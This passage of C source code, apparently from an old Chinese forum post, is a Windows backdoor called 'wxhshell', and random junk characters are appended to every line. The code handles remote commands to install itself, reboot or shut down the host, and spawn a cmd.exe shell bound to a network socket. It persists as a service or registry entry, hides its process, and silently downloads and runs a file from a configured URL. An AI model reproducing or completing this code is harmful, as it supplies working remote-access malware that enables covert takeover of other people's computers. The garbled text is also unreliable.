  case '?': { FP<mFqy  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); mHyT1e  
    break; 0FcG;i+  
  } Y@y"bjK \  
  // 安装 h!mx/Hx  
  case 'i': { 8l l}"  
    if(Install()) O))YJh"'_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); eH ]9"^> o  
    else o- v#Zl  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ya `$.D  
    break; 5X73@Aj  
    } mUNAA[0 L  
  // 卸载 ^WkqRs  
  case 'r': { 6z5wFzJv?q  
    if(Uninstall()) =D&XE*qkZ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); P''>wjMH0  
    else qi*Dd[OG  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~p`[z~|  
    break; 6DG%pF,  
    } Jsa]RA  
  // 显示 wxhshell 所在路径 <{T5}"e  
  case 'p': { Vq599M:)V  
    char svExeFile[MAX_PATH]; m}(M{^\|  
    strcpy(svExeFile,"\n\r"); Z*+y?5+L"P  
      strcat(svExeFile,ExeFile); J=J!)\m  
        send(wsh,svExeFile,strlen(svExeFile),0); ^;sE)L6  
    break; TbD $lx3>  
    } )UtK9;@"  
  // 重启  (l-l Y  
  case 'b': { TQtHU6  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); }9V0Cu1  
    if(Boot(REBOOT)) VHi'~B#'*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); h0 Xc=nj  
    else { vScEQS$>  
    closesocket(wsh); 1QPz|3f@\  
    ExitThread(0); l{gR6U{e  
    } )3WUyD*UZN  
    break; ~d3|zlh  
    } YwS/O N  
  // 关机 t`Rbn{   
  case 'd': { EbeSl+iMx_  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ~z(0XKq0d  
    if(Boot(SHUTDOWN)) %d%FI"!K  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <KJ|U0/jGd  
    else { -zUBK  
    closesocket(wsh); -Q/wW4dE=  
    ExitThread(0); J/QqwoR  
    } +k h Tl:  
    break; _F(Np\%_  
    } voFg6zoV_  
  // 获取shell e=s({V  
  case 's': { 86eaX+F  
    CmdShell(wsh); } lXor~_i  
    closesocket(wsh); j]U~ZAn,K  
    ExitThread(0); *+k yuY J  
    break; ^ZIs>.'  
  } If]rg+|U  
  // 退出 wA"d?x  
  case 'x': { ;<*USS6X  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); <(_Tanx9Q  
    CloseIt(wsh); 3<l}gB'S[  
    break; Ljiw9*ZI  
    } >oN Wf  
  // 离开 (w#)|9Cxm  
  case 'q': { V(XZ7<& {  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); g<ov` bF  
    closesocket(wsh); q{%~(A5*H  
    WSACleanup(); } ,^p{J/  
    exit(1); 0>46ZzxUZ  
    break; bPif"dhHe  
        } ei>iXDt  
  } h:|BQC  
  } (.iwD&  
itE/QB  
  // 提示信息 $=ESY>MO  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +6}CNC9Mp  
} E^gN]Z"O  
  } K'/if5>Bc  
(>Nwd^  
  return; ,6#%+u}f  
} Q/]o'_[vW  
 ;q5|If  
// shell模块句柄 e2BC2K0  
int CmdShell(SOCKET sock) }#; .b'`  
{ {LVA_7@  
STARTUPINFO si; 4"3.7.<Q`  
ZeroMemory(&si,sizeof(si)); 0rQ r#0`  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; "'GhE+>Z  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; AC 2kG  
PROCESS_INFORMATION ProcessInfo; >)u{%@Rcy{  
char cmdline[]="cmd"; m>F:dI  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); yTn<5T[H  
  return 0; ?RIf0;G  
} s&'FaqE  
p@Cas  
// 自身启动模式 WbBd<^Q  
int StartFromService(void) Ud2Tn*QmI  
{ : 2$*'{mM  
typedef struct |:Maa6(W  
{ l!KPgRw  
  DWORD ExitStatus; pq\N 2d  
  DWORD PebBaseAddress; e*}GQ  
  DWORD AffinityMask; Mu-kvgO`L  
  DWORD BasePriority; fL d2{jI,  
  ULONG UniqueProcessId; I.(@#v7T  
  ULONG InheritedFromUniqueProcessId; ].5q,A]  
}   PROCESS_BASIC_INFORMATION; 7-Oa34ba+  
RHpjJZUV  
PROCNTQSIP NtQueryInformationProcess; Y"r728T`K  
>M!LC  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; En#Q p3  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; zUNUH^Il  
,FH1yJ;Y&  
  HANDLE             hProcess; ~b!la  
  PROCESS_BASIC_INFORMATION pbi; L|:CQ  
q,%Fvcmx+e  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); LH=^3Gw  
  if(NULL == hInst ) return 0; arRU`6?  
7jQVm{{.  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 2K o]Q_,~  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); l 9g  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 6,M$TA  
z}.6yHS  
  if (!NtQueryInformationProcess) return 0; [^bq?w  
8O(L;&h  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Xdl dUK[  
  if(!hProcess) return 0; /988K-5k  
~e]B[>PT  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; @Tq-3Um  
j;V\~[I^u  
  CloseHandle(hProcess); (xWsyo(4  
`?WN*__["  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); _x3=i\O,  
if(hProcess==NULL) return 0; Eu "8IM!%-  
XEagN:  
HMODULE hMod; /{jt]8/;7  
char procName[255]; >;Vfs{Z(q  
unsigned long cbNeeded; o|y_j4 9  
]jn1T^D'  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName));  qsXkm4  
 bKK'U4  
  CloseHandle(hProcess); W2fcY;HZ  
p~=z)7% e'  
if(strstr(procName,"services")) return 1; // 以服务启动 }o7-3!{L!  
+>;Ux1'@  
  return 0; // 注册表启动 Q _!tn*  
} <uJ {>~  
3!/J!X3L  
// 主模块 TQNdBq5I6  
int StartWxhshell(LPSTR lpCmdLine) Scm45"wB+  
{ 0*tnJB  
  SOCKET wsl; pU<J?cU8N  
BOOL val=TRUE; +r//8&  
  int port=0; x=L"qC9f/  
  struct sockaddr_in door; 8-7Ml3G*  
y7CO%SA  
  if(wscfg.ws_autoins) Install(); UR=s=G|  
?I? ~BWu  
port=atoi(lpCmdLine); .d[ ^&<^  
K@%T5M4j  
if(port<=0) port=wscfg.ws_port; 8IWT;%  
P]y{3y:XxM  
  WSADATA data; 9xq3>(  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; $IX(a4'  
EA1&D^nT  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   E'D16Rhp  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Mt`LOdiC_  
  door.sin_family = AF_INET; Z:>3AJuS_  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); hEZo{0:b"  
  door.sin_port = htons(port); bpU> (j  
~vA8I#.  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { bV2a2#kj  
closesocket(wsl); `MCtm(<  
return 1; +zk5du^gZ  
} 9W\"A$;+&  
.E+O,@?<  
  if(listen(wsl,2) == INVALID_SOCKET) { .o]I^3tf c  
closesocket(wsl); qN' 3{jiPL  
return 1; ,xrA2  
} fJ5mKN  
  Wxhshell(wsl); }:{ @nP  
  WSACleanup(); .=<s@Sg,t  
@6+_0^  
return 0; cpw=2vnD  
7BwR ].  
} $8&Y(`  
/AOGn?Z3  
// 以NT服务方式启动 *q,nALs  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 1BW9,Xr  
{ C@]D*k  
DWORD   status = 0; X )Tyxppf'  
  DWORD   specificError = 0xfffffff; J1cz D|(  
-~xQ@+./  
  serviceStatus.dwServiceType     = SERVICE_WIN32; NT5##XOB  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ??P\v0E  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; )16+Pm8  
  serviceStatus.dwWin32ExitCode     = 0; +_*NY~  
  serviceStatus.dwServiceSpecificExitCode = 0; W-|C K&1  
  serviceStatus.dwCheckPoint       = 0; |Rx+2`6Dp  
  serviceStatus.dwWaitHint       = 0; M;3q.0MU  
p$x>I3C(\  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); `W_&^>yl  
  if (hServiceStatusHandle==0) return; U&Atgv  
ujBm"p_|  
status = GetLastError(); .mqMzV  
  if (status!=NO_ERROR) eNi#% ?=WB  
{ e:4,rfF1  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; kCz2uG)l  
    serviceStatus.dwCheckPoint       = 0; sGNHA( ;  
    serviceStatus.dwWaitHint       = 0; et/l7+/'  
    serviceStatus.dwWin32ExitCode     = status; Q7F4OS5b  
    serviceStatus.dwServiceSpecificExitCode = specificError; v^Fu/Y  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); >c Tt2v  
    return; [N%InsA9k  
  } =MM+(mD  
!blGc$kC  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ^qBm%R(  
  serviceStatus.dwCheckPoint       = 0; N M),2%<  
  serviceStatus.dwWaitHint       = 0; ;*FY+jM  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Pj g#  
} %" mki>  
UA6 C/  
// 处理NT服务事件,比如:启动、停止 jgXr2JQ<  
VOID WINAPI NTServiceHandler(DWORD fdwControl) };"_Ku4#-  
{ =^*EM<WG)  
switch(fdwControl) 'Pn:10;  
{ n!X%i+|4x  
case SERVICE_CONTROL_STOP: D,FgX/&i/  
  serviceStatus.dwWin32ExitCode = 0; yHs9J1S f  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Xm(#O1Vm(l  
  serviceStatus.dwCheckPoint   = 0; P92pQ_W  
  serviceStatus.dwWaitHint     = 0; *>W6,F7  
  { 7J$rA.tu  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); vfhoN]v  
  } ##F$8d)q  
  return; Y Kp@ n8A  
case SERVICE_CONTROL_PAUSE: 0v1~#KCm  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; o@j!JI&  
  break; ~mah.8G  
case SERVICE_CONTROL_CONTINUE: 8(q8}s$>  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; U Lq`!1{   
  break; NL-PQ%lUA  
case SERVICE_CONTROL_INTERROGATE: l$l6,OzS@  
  break; /J!hKK^k  
}; )G]J@36  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); `2V{]F  
} C deV3  
PV=sqLM~  
// 标准应用程序主函数 lY,9bSF$  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) )M[FPJP}  
{ w+!V,lU"^  
R&P^rrC@B5  
// 获取操作系统版本 } MP_  
OsIsNt=GetOsVer(); o2]Np~`g,  
GetModuleFileName(NULL,ExeFile,MAX_PATH); #zSNDv`  
KqaEHL  
  // 从命令行安装 l 8GAZ*+  
  if(strpbrk(lpCmdLine,"iI")) Install(); i \lr KA  
/9P7;1?  
  // 下载执行文件 +Bt%W%_X  
if(wscfg.ws_downexe) { S4(?= ,^-  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Xfg?\j/  
  WinExec(wscfg.ws_filenam,SW_HIDE); E J6|y'  
} <FZ*'F*M  
s6 K~I  
if(!OsIsNt) { q_>=| b  
// 如果时win9x,隐藏进程并且设置为注册表启动 1O)m(0tb[  
HideProc(); cauKG@:2F  
StartWxhshell(lpCmdLine); wb]Z4/j#  
} yB;K|MXy?  
else 'Q*lp!2>  
  if(StartFromService()) = P$7 "  
  // 以服务方式启动 oVfRp.a  
  StartServiceCtrlDispatcher(DispatchTable); =fhRyU:C[z  
else jcxeXp|00  
  // 普通方式启动 poqNiOm4%  
  StartWxhshell(lpCmdLine); gG(9&}@(  
/" &Jf}r  
return 0; \[B#dw#  
}
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只看该作者 1 发表于: 2006-10-10
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